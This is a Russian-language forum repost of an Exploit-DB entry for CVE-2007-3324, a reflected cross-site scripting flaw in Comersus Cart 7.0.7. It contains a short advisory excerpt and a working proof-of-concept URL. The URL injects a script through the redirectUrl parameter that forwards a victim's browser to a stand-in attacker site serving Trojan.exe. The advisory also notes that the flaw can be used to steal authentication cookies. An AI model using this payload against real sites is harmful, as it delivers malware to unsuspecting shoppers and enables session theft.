Exploit Comersus Cart 7.0.7 - 'comersus_customerAuthenticateForm.asp' redirectUrl Cross-Site Scripting

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
30204
Проверка EDB
  1. Пройдено
Автор
DOZ
Тип уязвимости
WEBAPPS
Платформа
ASP
CVE
cve-2007-3324
Дата публикации
2007-06-20
Код:
source: https://www.securityfocus.com/bid/24562/info
 
Comersus Cart is affected by multiple input validation vulnerabilities.
 
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
 
The attacker may also leverage this issue to execute arbitrary code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Comersus Cart 7.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/path/store/comersus_customerAuthenticateForm.asp?redirectUrl="><script>window.location="http://www.Evil_Site.com/Trojan.exe"</script>
 
Источник
www.exploit-db.com

Похожие темы